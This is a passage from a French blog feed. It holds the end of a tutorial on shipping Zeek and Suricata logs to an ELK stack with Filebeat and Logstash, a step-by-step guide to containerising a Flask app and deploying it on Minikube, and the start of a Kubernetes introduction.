<pre><code class="lang-bash">http://IP_EXTERNE_VM2:5601
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760655979663/fd1b83fd-4a88-45cc-b769-de6bdac135b9.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-etape-2-collecte-et-traitement-des-logs">Étape 2: Collecte et traitement des logs</h1>
<h2 id="heading-configuration-de-logstash-pour-collecter-les-donnees-creation-du-pipeline-conf-sur-la-vm2">Configuration de Logstash pour collecter les donneés - création du pipeline conf sur la vm2</h2>
<p>Par la suite, il faut créér le fichier de pipeline de configuration <code>logstash.conf</code> dans le répertoire <code>logstash/pipeline/</code>. C’est un fichier de principal de Logstash qui définit comment les données sont traitées puis transformées. Les paramètes inclus dans le fichier sont disponibles sur <a target="_blank" href="https://www.elastic.co/docs/reference/logstash/creating-logstash-pipeline">le site officiel</a>.</p>
<p>Pour cela, exécuter les commandes suivantes:</p>
<pre><code class="lang-plaintext">cd ELK/
mkdir -p logstash/pipeline
sudo nano logstash/pipeline/logstash.conf
</code></pre>
<p>Voici le contenu du fichier <code>logstash.conf</code>.</p>
<pre><code class="lang-bash">input {
  beats {
    port =&gt; 5044
  }
}

<span class="hljs-comment"># La section filter est optionnel. On l'utilise si on souhaite transformer, structurer les logs</span>
<span class="hljs-comment"># Ici, on sépare Zeek et Suricata dans deux index différents</span>
filter {
  <span class="hljs-keyword">if</span> [<span class="hljs-built_in">type</span>] == <span class="hljs-string">"zeek"</span> {
    mutate { add_field =&gt; { <span class="hljs-string">"[@metadata][target_index]"</span> =&gt; <span class="hljs-string">"zeek-%{+YYYY.MM.dd}"</span> } }
  }
  <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> [<span class="hljs-built_in">type</span>] == <span class="hljs-string">"suricata"</span> {
    mutate { add_field =&gt; { <span class="hljs-string">"[@metadata][target_index]"</span> =&gt; <span class="hljs-string">"suricata-%{+YYYY.MM.dd}"</span> } }
  }
}


output {
  elasticsearch {
    hosts =&gt; [<span class="hljs-string">"http://elasticsearch:9200"</span>]
    index =&gt; <span class="hljs-string">"%{[@metadata][target_index]}"</span>
  }
  stdout { 
    codec =&gt; rubydebug 
  }
}
</code></pre>
<p>Redémarrer ensuite le conteneur Logstash avec la commande suivante.</p>
<pre><code class="lang-bash">sudo docker restart logstash
</code></pre>
<p>Il se peut que le conteneur soit créé avec un nom différent que <code>logstash</code>. Vous pouvez vérifier les conteneurs existants avec la commande suivante:</p>
<pre><code class="lang-bash">sudo docker ps -a
</code></pre>
<h2 id="heading-installation-de-filebeat-sur-la-vm1">Installation de Filebeat sur la vm1</h2>
<p>Avec <code>Docker Compose</code>, <code>Zeek</code> et <code>Suricata</code> installés et fonctionnels, on veut pouvoir collecter les logs puis les acheminer vers <code>ELK</code> sur la vm2. Pour cela on installe <code>Filebeat</code> ,qui lit les logs de la vm1 (depuis Zeek et Suricata) et les envoie à Elasticsearch (Logstash) sur la vm2.</p>
<p>Télécharger et installer la clé de signature publique</p>
<pre><code class="lang-bash">wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -
</code></pre>
<p>Installer les paquets <code>apt-transport-https</code></p>
<pre><code class="lang-bash">sudo apt-get install apt-transport-https
<span class="hljs-built_in">echo</span> <span class="hljs-string">"deb https://artifacts.elastic.co/packages/9.x/apt stable main"</span> | sudo tee -a /etc/apt/sources.list.d/elastic-9.x.list
</code></pre>
<p>Installer Filebeat avec la commande suivante:</p>
<pre><code class="lang-bash">sudo apt-get update &amp;&amp; sudo apt-get install filebeat
</code></pre>
<p>Configurer ensuite Filebat pour démarrer automatiquement au démarrage</p>
<pre><code class="lang-bash">sudo systemctl <span class="hljs-built_in">enable</span> filebeat
 sudo systemctl status filebeat
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1757082308709/cb5db7ac-5e43-48ed-ba17-c1c75255b28f.png" alt class="image--center mx-auto" /></p>
<p>Après l’installation, éditer le fichier de configuration Filebeat <code>/etc/filebeat/filebeat.yml</code>, afin qu’Il collecte les logs et les envoie à la sortie souhaitée (ici ELK ou Logstach).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1757084660550/e0c46cdf-ba7e-458d-8df9-303253025b76.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-bash">sudo nano /etc/filebeat/filebeat.yml
</code></pre>
<p>Ajouter le bloc de code suivant dans la section Filebeat input</p>
<pre><code class="lang-yaml"><span class="hljs-comment"># Input added for Zeek &amp; Suricata on 2025-09-05</span>
<span class="hljs-bullet">-</span> <span class="hljs-attr">type:</span> <span class="hljs-string">filestream</span>
  <span class="hljs-attr">id:</span> <span class="hljs-string">zeek-filestream-id</span>
  <span class="hljs-attr">enabled:</span> <span class="hljs-literal">true</span>
  <span class="hljs-attr">paths:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">/usr/local/zeek/logs/*/*.log</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">/usr/local/zeek/logs/current/*.log</span>
  <span class="hljs-attr">tags:</span> [<span class="hljs-string">"zeek"</span>]
  <span class="hljs-attr">fields:</span>
    <span class="hljs-attr">type:</span> <span class="hljs-string">zeek</span>
  <span class="hljs-attr">fields_under_root:</span> <span class="hljs-literal">true</span>

<span class="hljs-bullet">-</span> <span class="hljs-attr">type:</span> <span class="hljs-string">filestream</span>
  <span class="hljs-attr">id:</span> <span class="hljs-string">suricata-filestream-id</span>
  <span class="hljs-attr">enabled:</span> <span class="hljs-literal">true</span>
  <span class="hljs-attr">paths:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">/var/log/suricata/*.log</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">/var/log/suricata/eve.json</span>
  <span class="hljs-attr">tags:</span> [<span class="hljs-string">"suricata"</span>]
  <span class="hljs-attr">fields:</span>
    <span class="hljs-attr">type:</span> <span class="hljs-string">suricata</span>
  <span class="hljs-attr">fields_under_root:</span> <span class="hljs-literal">true</span>
</code></pre>
<p>Il faut ensuite configurer la sortie soit vers Elasticsearch directement, soit vers Logstash sur la vm2, toujours dans le même fichier <code>etc/filebeat/filebeat.yml</code>, dans la section <code>Elasticsearch Output</code> ou dans la section <code>Logstash Output</code>. Le choix dépend de ce qu’on veut faire des logs.</p>
<ul>
<li><p>Envoyer à <code>Elasticsearch</code> est simple et demande moins de configurations. Les logs arrivent directement dans <code>Elasticsearch</code> et peuvent être visualisés dans <code>Kibana</code>. Par contre, il n’y a pas moyen de filtrer ou transformer les logs.</p>
</li>
<li><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760662847006/6bf99bc9-2aa8-4490-bc97-628dcb25127e.png" alt class="image--center mx-auto" /></p>
<p>  Envoyer à <code>Logstash</code> est un peu plus lourd à configurer. Il faut créér le fichier de pipeline et les fichiers de paramètre (ils sont inclus dans l’installation). Mais on peut filtrer, transformer les logs avant de les envoyer à <code>Elasticsearch</code>. C’est plus pratique lorsqu’on veut prétraiter les logs, extraire des champs spécifiques</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760663265657/022a019e-b41b-4990-9b3f-569b50e87485.png" alt class="image--center mx-auto" /></p>
<p>On opte ici pour l’envoi vers <code>Logstash</code>. Il suffira juste de commenter toute la section <code>Elasticsearch Output</code>.</p>
<p>Dans la section <code>Logstash Output</code>, modifier les paramètres comme <code>hosts</code>, <code>protocol</code>,si vous activez https, puis <code>username</code> et <code>password</code> si l’authentification est activée.</p>
<pre><code class="lang-yaml"><span class="hljs-attr">output.logstach:</span>
  <span class="hljs-attr">hosts:</span> [<span class="hljs-string">"IP_VM2:5044"</span>]
</code></pre>
<p>Redémarrer ensuite Filebeat</p>
<pre><code class="lang-bash">sudo systemctl restart filebeat
sudo systemctl status filebeat
sudo filebeat <span class="hljs-built_in">test</span> output
</code></pre>
<p>La commande <code>filebeat test output</code> permet de confirmer si Filebeat, depuis la vm1, arrive bien à joindre Logstash installée sur la vm2.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760663400921/8a554d9b-1dee-4f6f-9d8d-973bf727d6d6.png" alt class="image--center mx-auto" /></p>
<p>Une fois que Filebeat depuis la vm1 arrive à bien se connecter à Logstash sur la vm2, on est sûr que ca fonctionne.</p>
<h2 id="heading-verification-dans-logs-dans-elasticsearch">Vérification dans logs dans Elasticsearch</h2>
<p>On vérifie ici que Logstash sur la vm2, recoit bien les logs de Filebeat depuis la vm1. Pour cela, exécuter la commande suivante sur la vm2, où est installée Logstash:</p>
<pre><code class="lang-bash">sudo docker logs -f logstash
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760917789152/3c4b7925-29a6-42d2-ad3f-eb0c8a3f9413.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760917851797/d06196d5-6704-4386-a77f-84a1a5a695c2.png" alt class="image--center mx-auto" /></p>
<p>On a bien le type de données (type suricata) qu’on avait défini dans Filebeat pour différencier Zeek et Suricata. Filebeat transmet aussi le chemin exact du fichier source, soit <code>/var/log/suricata/eve.json</code>. On a aussi des infos sur l’hôte duquel provient les logs.</p>
<p>On peut ensuite vérifier les index créés dans Elasticsearch car une fois que Logstash reçoit bien les logs, il doit les envoyer à ELK (Elasticsearch)</p>
<pre><code class="lang-bash">curl -X GET <span class="hljs-string">"http://localhost:9200/_cat/indices?v"</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760918084080/535a54db-969e-46fc-af62-3ea8aef844ff.png" alt class="image--center mx-auto" /></p>
<p>On a bien l’index défini au niveau du fichier de configuration <code>logstash.conf</code>, avec le tag suivi de la date. L’index contient pour le moment 6470 documents pour zeek et 4905 pour Suricata.</p>
<p>On peut ensuite vérifier au niveau de l’Interface dans Kibana à l’adresse suivante:</p>
<pre><code class="lang-bash">http://IP_VM2:5601
</code></pre>
<p>Dans la section <code>Management</code>, naviguer vers <code>Stack Management</code>. Allez ensuite dans <code>Data Views</code> puis <code>Create Data View</code>. Dans le champ <code>Name</code>, inscrire le nom correspondant aux logs, soit <code>suricata-*</code> pour Suricata, ou <code>zeek-*</code> pour Zeek. Cliquer ensuite sur <code>Create Data View</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1757207753397/0dad5197-3cee-4dc1-835f-b634ca12c7d0.png" alt class="image--center mx-auto" /></p>
<p>Une fois le Data View créé, aller dans la section <code>Discover</code>, sélectionnezr le Data View <code>suricata-*</code> afin de voir les logs. On a bien le champ <code>hostname</code> qui est celui de la vm1 et le champ <code>agent-type</code> qui est filebeat.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1757208031331/4967b856-82aa-4a26-99d6-de4e86bff007.png" alt class="image--center mx-auto" /></p>
<p>Vous pouvez ensuite créer plusieurs Data Views :</p>
<ul>
<li><p>zeek-* pour les logs Zeek</p>
</li>
<li><p>suricata-* pour les alertes Suricata</p>
</li>
<li><p>filesbeat-* pour les logs génériques Filebeat</p>
</li>
</ul>
<h1 id="heading-documentation">Documentation</h1>
<ul>
<li><p><em>2. Quickstart guide—Suricata 9.0.0-dev documentation</em>. (n.d.). Retrieved October 25, 2025, from <a target="_blank" href="https://docs.suricata.io/en/latest/quickstart.html#basic-setup">https://docs.suricata.io/en/latest/quickstart.html#basic-setup</a></p>
</li>
<li><p><em>3.2.1. Ubuntu Package Installation—Suricata 9.0.0-dev documentation</em>. (n.d.). Retrieved October 25, 2025, from <a target="_blank" href="https://docs.suricata.io/en/latest/install/ubuntu.html">https://docs.suricata.io/en/latest/install/ubuntu.html</a></p>
</li>
<li><p><em>Binary packages</em>. (n.d.). GitHub. Retrieved October 25, 2025, from <a target="_blank" href="https://github.com/zeek/zeek/wiki/Binary-Packages">https://github.com/zeek/zeek/wiki/Binary-Packages</a></p>
</li>
<li><p><em>Configure inputs | Beats</em>. (n.d.). Retrieved October 25, 2025, from <a target="_blank" href="https://www.elastic.co/docs/reference/beats/filebeat/configuration-filebeat-options">https://www.elastic.co/docs/reference/beats/filebeat/configuration-filebeat-options</a></p>
</li>
<li><p><em>Filebeat quick start: Installation and configuration | Beats</em>. (n.d.). Retrieved October 25, 2025, from <a target="_blank" href="https://www.elastic.co/docs/reference/beats/filebeat/filebeat-installation-configuration">https://www.elastic.co/docs/reference/beats/filebeat/filebeat-installation-configuration</a></p>
</li>
<li><p>Guardian, C. T. (2024, November 11). Zeek installation in ubuntu. <em>Medium</em>. <a target="_blank" href="https://medium.com/@cybertoolguardian/zeek-installation-in-ubuntu-60835ee3e42c">https://medium.com/@cybertoolguardian/zeek-installation-in-ubuntu-60835ee3e42c</a></p>
</li>
<li><p><em>Installing zeek—Book of zeek(V8. 0. 2)</em>. (n.d.). Retrieved October 25, 2025, from <a target="_blank" href="https://docs.zeek.org/en/lts/install.html">https://docs.zeek.org/en/lts/install.html</a></p>
</li>
<li><p><em>Log files—Book of zeek(8.1.0-dev.682)</em>. (n.d.). Retrieved October 25, 2025, from <a target="_blank" href="https://docs.zeek.org/en/master/script-reference/log-files.html">https://docs.zeek.org/en/master/script-reference/log-files.html</a></p>
</li>
<li><p><em>Logstash configuration files | logstash</em>. (n.d.). Retrieved October 25, 2025, from <a target="_blank" href="https://www.elastic.co/docs/reference/logstash/config-setting-files">https://www.elastic.co/docs/reference/logstash/config-setting-files</a></p>
</li>
<li><p><em>Prise en main de la suite elastic et de docker-compose</em>. (n.d.). Elastic Blog. Retrieved October 25, 2025, from <a target="_blank" href="https://www.elastic.co/fr/blog/getting-started-with-the-elastic-stack-and-docker-compose">https://www.elastic.co/fr/blog/getting-started-with-the-elastic-stack-and-docker-compose</a></p>
</li>
<li><p><em>Ubuntu</em>. (2025, October 10). Docker Documentation. <a target="_blank" href="https://docs.docker.com/engine/install/ubuntu/">https://docs.docker.com/engine/install/ubuntu/</a></p>
</li>
<li><p><em>Utiliser des règles de pare-feu VPC | Cloud Next Generation Firewall</em>. (n.d.). Google Cloud. Retrieved October 25, 2025, from <a target="_blank" href="https://docs.cloud.google.com/firewall/docs/using-firewalls?hl=fr">https://docs.cloud.google.com/firewall/docs/using-firewalls?hl=fr</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Déployer une application Python via Docker sur Kubernetes]]></title><description><![CDATA[Dans cet article, on va déployer une application Python Flask sur Kubernetes. Un premier article montrant les premiers pas avec Kubernetes et Minikube est disponible ici Kubernetes: Simplifying Container Orchestration
Pré-requis

Docker: pour créer l...]]></description><link>https://blog.fikara.io/deployer-une-application-python-via-docker-sur-kubernetes</link><guid isPermaLink="true">https://blog.fikara.io/deployer-une-application-python-via-docker-sur-kubernetes</guid><category><![CDATA[Kubernetes]]></category><category><![CDATA[#kubernetes #container ]]></category><category><![CDATA[k8s]]></category><category><![CDATA[#k8scluster]]></category><category><![CDATA[minikube]]></category><category><![CDATA[minikube-setup]]></category><category><![CDATA[kubectl]]></category><category><![CDATA[Docker]]></category><category><![CDATA[docker images]]></category><category><![CDATA[Dockerfile]]></category><dc:creator><![CDATA[FIKARA BILAL]]></dc:creator><pubDate>Thu, 28 Aug 2025 15:55:22 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/GSiEeoHcNTQ/upload/e3f7f3d4e8c954bc191f773266e03128.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Dans cet article, on va déployer une application Python Flask sur Kubernetes. Un premier article montrant les premiers pas avec Kubernetes et Minikube est disponible ici <a target="_blank" href="https://blog.fikara.io/kubernetes">Kubernetes: Simplifying Container Orchestration</a></p>
<h2 id="heading-pre-requis">Pré-requis</h2>
<ul>
<li><p><strong>Docker</strong>: pour créer l’image conteneurisée de l’application avec Docker Desktop</p>
</li>
<li><p><strong>Minikube</strong>: pour créer un cluster local de test</p>
</li>
<li><p><strong>kubectl</strong>: pour interagir avec Kubernetes</p>
</li>
</ul>
<h2 id="heading-etape-1-creer-lapplication-python">Étape 1: Créer l’application Python</h2>
<ol>
<li><p>Créer un fichier app.py</p>
<p> Ce code crée une application via Flask qui écoute sur le port 5000 et affiche un message</p>
<pre><code class="lang-python"> <span class="hljs-keyword">from</span> flask <span class="hljs-keyword">import</span> Flask

 app = Flask(__name__)

<span class="hljs-meta"> @app.route('/')</span>
 <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">hello_world</span>():</span>
     <span class="hljs-keyword">return</span> <span class="hljs-string">'Hello, K8s!'</span>

 <span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
     app.run(host=<span class="hljs-string">"0.0.0.0"</span>, port=<span class="hljs-number">5000</span>)
</code></pre>
</li>
<li><p>Créer un requirements.txt pour y lister les dépendances.</p>
<pre><code class="lang-python"> Flask==<span class="hljs-number">3.0</span><span class="hljs-number">.3</span>
</code></pre>
</li>
<li><p>Installer les dépendances</p>
<pre><code class="lang-bash"> pip install -r requirements.txt
</code></pre>
<p> Vous pouvez ensuite tester l’application avec la commande <code>python app.py</code></p>
</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756235749902/604c3214-91d3-447b-b71a-e9ab264552a4.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-etape-2-conteneuriser-lapplication-via-docker">Étape 2: Conteneuriser l’application via Docker</h2>
<p>Pour déployer l’application sur Kubernetes, il faut la conteneuriser avec Docker. Cela signifie de créer une image Docker qui contient l’application et tout ce qu’il faut pour l’exécuter (dépendances et autres).</p>
<ol>
<li><p>Créez un fichier Dockerfile</p>
<pre><code class="lang-dockerfile"> <span class="hljs-comment"># Utiliser une image de base Python</span>
 <span class="hljs-keyword">FROM</span> python:<span class="hljs-number">3.9</span>-slim

 <span class="hljs-comment"># Définir le réepertoire de travail</span>
 <span class="hljs-keyword">WORKDIR</span><span class="bash"> /app</span>

 <span class="hljs-comment"># Copier les fichiers de l’application</span>
 <span class="hljs-keyword">COPY</span><span class="bash"> requirements.txt .</span>
 <span class="hljs-keyword">COPY</span><span class="bash"> app.py .</span>

 <span class="hljs-comment"># Installer les dépendances</span>
 <span class="hljs-keyword">RUN</span><span class="bash"> pip install -r requirements.txt --no-cache-dir </span>

 <span class="hljs-comment"># Exposer le port de l’application</span>
 <span class="hljs-keyword">EXPOSE</span> <span class="hljs-number">5000</span>

 <span class="hljs-comment"># Démarrer l’application</span>
 <span class="hljs-keyword">CMD</span><span class="bash"> [<span class="hljs-string">"python"</span>, <span class="hljs-string">"app.py"</span>]</span>
</code></pre>
</li>
<li><p>Construire l’image Docker</p>
<p> Docker doit d’abord être installé pour que cela fonctionne. Vous pouvez télécharger et installer <a target="_blank" href="https://www.docker.com/products/docker-desktop/">Docker Desktop</a>. Après l’installation, exécutez la commande suivante:</p>
<pre><code class="lang-bash"> docker build -t flask-k8s:1.0
</code></pre>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756307460750/e5b1706d-6a6f-43f5-a5bc-a04987201e48.png" alt class="image--center mx-auto" /></p>
<p> L’image Docker a bien été construite et est disponible localement. Vous pouvez la vérifier avec la commande <code>docker images</code>.</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756307766644/7d000da8-ab90-43b3-857c-bfa1df8ceeb7.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>Tester l’image en local</p>
<p> Pour s’assurer que l’application fonctionne, testez le conteneur avec la commande suivante:</p>
<pre><code class="lang-bash"> docker run -p 5000:5000 flask-k8s:1.0
</code></pre>
<p> On accède ensuite à l’application via <code>http://localhost:5000</code></p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756309072517/cdb04f14-01aa-43bf-9121-a0ac92fed511.png" alt class="image--center mx-auto" /></p>
</li>
</ol>
<h2 id="heading-etape-3-pousser-limage-vers-docker-hub">Étape 3 : Pousser l’image vers Docker Hub</h2>
<p>La prochaine étape sera de pousser l’image sur Docker Hub afin de la rendre accessible partout, pas seulement localement. Tout autre cluster a besoin d’Accéder à l’image pour créer les conteneurs. Si l’image reste uniquement sur le Docker local, seul le PC peut la lancer. Il faut la pousser sur Docker Hub afin de la rendre disponible pour notre cluster Kubernetes ou à d’autres personnes.</p>
<ol>
<li><p>Créer un compte Docker Hub <a target="_blank" href="https://hub.docker.com/">https://hub.docker.com/</a> puis se connecter avec la commande <code>docker login -u USERNAME</code>. Vous serez invités à entrer votre mot de passe.</p>
</li>
<li><p>Tagger l’image Docker</p>
<p> Avant de pousser l’image, il faut s’assurer qu’elle est correctement taggée. Cela ne crée pas une nouvelle image , mais ajoute un tag à l’image existante.</p>
<pre><code class="lang-bash"> docker tag flask-k8s:1.0 bildotcom/flask-k8s:1.0
</code></pre>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756311572140/1b62cea4-0699-4e04-8e2c-d620b8ceeefd.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>Pousser l’image</p>
<p> Assurez vous d’avoir confirmer votre adresse courriel sinon l’image ne pourra être poussée vers le hub</p>
<pre><code class="lang-bash"> docker push bildotcom/flask-k8s:1.0
</code></pre>
<p> Après cela, votre image sera disponible sur Docker Hub et pourra être utilisée pour des déploiements sur d’autres machines.</p>
</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756312506728/eb5b66db-e1dd-4f9c-b361-f517f11b9246.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-etape-4-deployer-limage-sur-kubernetes">Étape 4 : <strong>Déployer l'image sur Kubernetes</strong></h2>
<p>Une fois que l’Image est sur Docker Hub, on peut maintenant déployer l’application sur un cluster Kubernetes. Pour cela, il faut créer des fichiers de configurations Kubernetes qui sont des fichiers YAML pour définir les objets nécessaires, tels que Deployment et Service.</p>
<ol>
<li><p>Créer le fichier deployment.yaml</p>
<p> Deployment définit comment l’application doit être déployée, le nombre de répliques et l’image à utiliser.</p>
<pre><code class="lang-yaml"> <span class="hljs-attr">apiVersion:</span> <span class="hljs-string">apps/v1</span>
 <span class="hljs-attr">kind:</span> <span class="hljs-string">Deployment</span>
 <span class="hljs-attr">metadata:</span>
   <span class="hljs-attr">name:</span> <span class="hljs-string">flask-k8s</span>
 <span class="hljs-attr">spec:</span>
   <span class="hljs-attr">replicas:</span> <span class="hljs-number">2</span> <span class="hljs-comment"># ici on spécifie le nombre de pods (répliques)</span>
   <span class="hljs-attr">selector:</span> 
     <span class="hljs-attr">matchLabels:</span>
       <span class="hljs-attr">app:</span> <span class="hljs-string">flask-k8s</span> 
   <span class="hljs-attr">template:</span>
     <span class="hljs-attr">metadata:</span>
       <span class="hljs-attr">labels:</span>
         <span class="hljs-attr">app:</span> <span class="hljs-string">flask-k8s</span>
     <span class="hljs-attr">spec:</span>
       <span class="hljs-attr">containers:</span>
       <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">flask-k8s</span>
         <span class="hljs-attr">image:</span> <span class="hljs-string">bildotcom/flask-k8s:1.0</span>
         <span class="hljs-attr">ports:</span>
         <span class="hljs-bullet">-</span> <span class="hljs-attr">containerPort:</span> <span class="hljs-number">5000</span> <span class="hljs-comment"># port exposé par le conteneur</span>
</code></pre>
</li>
<li><p>Créer le fichier service.yaml</p>
<p> Service expose l’application afin qu’elle soit accessible à d’autres services à l’extérieur du cluster.</p>
<pre><code class="lang-yaml"> <span class="hljs-attr">apiVersion:</span> <span class="hljs-string">v1</span>
 <span class="hljs-attr">kind:</span> <span class="hljs-string">Service</span>
 <span class="hljs-attr">metadata:</span>
   <span class="hljs-attr">name:</span> <span class="hljs-string">flask-k8s</span>
 <span class="hljs-attr">spec:</span>
   <span class="hljs-attr">selector:</span>
     <span class="hljs-attr">app:</span> <span class="hljs-string">flask-k8s</span>
   <span class="hljs-attr">ports:</span>
   <span class="hljs-bullet">-</span> <span class="hljs-attr">protocol:</span> <span class="hljs-string">TCP</span>
     <span class="hljs-attr">port:</span> <span class="hljs-number">80</span> <span class="hljs-comment"># port exposé par le service</span>
     <span class="hljs-attr">targetPort:</span> <span class="hljs-number">5000</span> <span class="hljs-comment"># port interne du conteneur</span>
   <span class="hljs-attr">type:</span> <span class="hljs-string">NodePort</span>
</code></pre>
<p> Dans Kubernetes, il existe plusieurs types de services qui déterminent comment un service est exposé. On le définit via le champ <code>type</code> du fichier service.yaml.</p>
<ul>
<li><p><strong>clusterIP</strong>: type par défaut. Il expose le service uniquement à l’intérieur du cluster sur une IP interne. L’accès externe ne sera pas possible sans un tunnel.</p>
</li>
<li><p><strong>NodePort</strong>: expose le service sur un port fixe de chaque noeud du cluster. Cela permet d’accéder au service depuis l’extérieur du cluster avec l’IP du noeud et le port spécifié.</p>
</li>
<li><p><strong>LoadBalancer:</strong> crée un équilibreur de trafic vers les pods du service.</p>
</li>
<li><p><strong>ExternalName</strong>: redirige le service vers un nom DNS externe en utilisant un CNAME.</p>
</li>
</ul>
</li>
<li><p>Déployer sur le cluster</p>
<p> Pour cette étape, il faut s’assurer que le cluster Minikube est en cours d’exécution avec la commande <code>minikube start</code>. Déployez ensuite le déploiement et le service avec les commandes suivantes:</p>
<pre><code class="lang-bash"> kubectl apply -f deployment.yaml
 kubectl apply -f service.yaml
</code></pre>
<p> Vous pouvez vérifier si les pods démarrent avec la commande <code>kubectl get pods</code>.</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756392239026/06087d24-ae12-4fe0-816b-857d0b2ced07.png" alt class="image--center mx-auto" /></p>
<p> On voit bien les deux pods spécifiés dans le fichier deployment.yaml sont en status <code>Running</code>.</p>
</li>
<li><p>Vérifier que le service est exposé</p>
<p> La commande <code>kubectl get svc</code> permet de lister tous les services dans le cluster. On voit que le service est bien exposé via NodePort sur le port 32101.</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756392704257/166e65a6-003b-4c4d-9ab7-af7c95dc0fa3.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>Accéder à l’application</p>
<p> Ouvrez l’application dans votre navigateur avec la commande suivante:</p>
<pre><code class="lang-bash"> minikube service flask-k8s
</code></pre>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756393999041/b4fb4f13-72c7-4fd4-848a-6dc049d86452.png" alt class="image--center mx-auto" /></p>
</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756394471596/1226fe22-5e4f-4570-8e70-ccb819ddd865.png" alt class="image--center mx-auto" /></p>
<p>Si l’adresse 192.168.49.2:32107 ne fonctionne pas directement (car le réseau Minikube n’est pas routé vers l’hôte du poste Windows), on peut utiliser la commande minikube service flask-k8s pour ouvrir l’URL automatiquement ou utiliser un LoadBalancer au lieu du NodePort</p>
<p>Voici comment créer une application Pyhton Flask, la conteneurisée avec Docker, la publier sur DockerHub puis la déployer sur un cluster Kubernetes avec Minikube.</p>
]]></content:encoded></item><item><title><![CDATA[Kubernetes]]></title><description><![CDATA[Kubernetes ou K8s est une plateforme open-source utilisée pour automatiser le déploiement et la gestion des applications conteneurisées. Une application conteneurisée est une application qui fonctionne à l’intérieur d’un conteneur, un environnement l...]]></description><link>https://blog.fikara.io/kubernetes</link><guid isPermaLink="true">https://blog.fikara.io/kubernetes</guid><category><![CDATA[Kubernetes]]></category><category><![CDATA[#kubernetes #container ]]></category><category><![CDATA[k8s]]></category><category><![CDATA[#k8scluster]]></category><category><![CDATA[k8s commands ]]></category><dc:creator><![CDATA[FIKARA BILAL]]></dc:creator><pubDate>Tue, 26 Aug 2025 16:58:47 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/9cXMJHaViTM/upload/f83a764b75524ecf51f73ce1a7df9231.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Kubernetes ou K8s est une plateforme open-source utilisée pour automatiser le déploiement et la gestion des applications conteneurisées. Une application conteneurisée est une application qui fonctionne à l’intérieur d’un conteneur, un environnement léger et isolé contenant tout ce dont l’application a besoin pour être exécuter (le code, les bibliothèques, les dépendances, els configurations et autres). Les conteneurs garantissent que que l’application tourne de la même manière, que ce soit sur un PC, un serveur ou dans le cloud. Kubernetees aide donc à orchestrer le tout: il déploie ces conteneurs, en ajoute on en retire selon la demande, les met à jour, et s’assure qu’ils restent opérationnels.</p>
<h2 id="heading-pre-requis">Pré-requis</h2>
<ul>
<li><p><strong>Minikube</strong>: pour créer un cluster local de test</p>
</li>
<li><p><strong>kubectl</strong>: pour interagir avec Kubernetes</p>
</li>
</ul>
<h2 id="heading-etape-1-installer-et-demarrer-minikube">Étape 1: Installer et démarrer Minikube</h2>
<p>Minikube permet de créer un cluster Kubernetes local. Allez sur le site <a target="_blank" href="https://minikube.sigs.k8s.io/docs/start/?arch=%2Fwindows%2Fx86-64%2Fstable%2F.exe+download">minikube start | minikube</a> pour télécharger et installer minikube. À noter que Minikube ne doit pas être utilisé en prod car il est principalement concu pour des environnements de tests sur une machine. Il faudrait envisager Amazon EKS ou Google Kubernetes Engine en prod.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756216793624/f379471b-fe0d-4bb1-994c-df12534d7711.png" alt class="image--center mx-auto" /></p>
<p>Exécutez ensuite la commande suivante pour lancer le cluster.</p>
<pre><code class="lang-bash">minikube start
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756220166010/0cec0400-07f4-47bc-813b-b2accb7912bd.png" alt class="image--center mx-auto" /></p>
<p>Le cluster minikube a démarré correctement mais il est indiqué que <strong>kubectl</strong> est introuvable. Cela signifie que kubectl n’est pas bien installé sur le système windows. On peut l’installer avec la commande suivante:</p>
<pre><code class="lang-bash">minikube kubectl -- get pods -A
</code></pre>
